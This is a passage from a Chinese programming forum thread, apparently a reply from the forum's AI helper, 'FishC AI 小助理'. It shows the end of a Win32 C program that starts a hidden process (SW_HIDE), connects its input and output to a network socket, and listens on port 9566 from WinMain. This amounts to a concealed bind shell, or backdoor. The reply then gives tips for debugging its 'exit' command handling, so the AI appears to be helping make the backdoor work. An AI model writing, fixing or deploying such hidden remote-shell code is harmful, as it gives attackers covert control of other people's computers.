  154.     StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  155.     StartInfo.wShowWindow = SW_HIDE;
  156.     StartInfo.hStdInput = hReadpipe1;
  157.     StartInfo.hStdOutput = hWritepipe2;
  158.     StartInfo.hStdError = hWritepipe2;

  160.     if (!CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi))
  161.     {
  162.         MessageBox(NULL, TEXT("CreateProcess error"), TEXT("ERROR"), MB_OK);
  163.         WSACleanup();
  164.         return FALSE;
  165.     }
  166.     MessageBox(NULL, TEXT("Process created"), TEXT("INFO"), MB_OK);

  168.     ReadNode.cSock = WriteNode.cSock = ClientSocket;
  169.     ReadNode.handleNode = hWritepipe1;
  170.     hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
  171.     WriteNode.handleNode = hReadpipe2;
  172.     hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);

  174.     HANDLE hHandles[2] = { hInputThread, hOutputThread };
  175.     WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);

  177.     CloseHandle(pi.hProcess);
  178.     CloseHandle(pi.hThread);
  179.     CloseHandle(hReadpipe1);
  180.     CloseHandle(hWritepipe1);
  181.     CloseHandle(hReadpipe2);
  182.     CloseHandle(hWritepipe2);
  183.     closesocket(ClientSocket);
  184.     closesocket(ListeningSocket);
  185.     WSACleanup();

  187.     return TRUE;
  188. }

  190. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
  191. {
  192.     StartShell(9566);
  193.     return 0;
  194. }
复制代码


请务必在必要位置添加调试信息以确认每一步都正确，特别是在发送和处理 exit 命令时。如果仍有问题，请进一步提供具体错误信息和症状，以便针对性解决。

以上回复来自 FishC AI 小助理，如未能正确解答您的问题，请继续追问。
小甲鱼最新课程 -> https://ilovefishc.com
回复 顶 踩

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|鱼C工作室 ( 粤ICP备18085999号-1 )

GMT+8, 2026-11-5 00:48

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表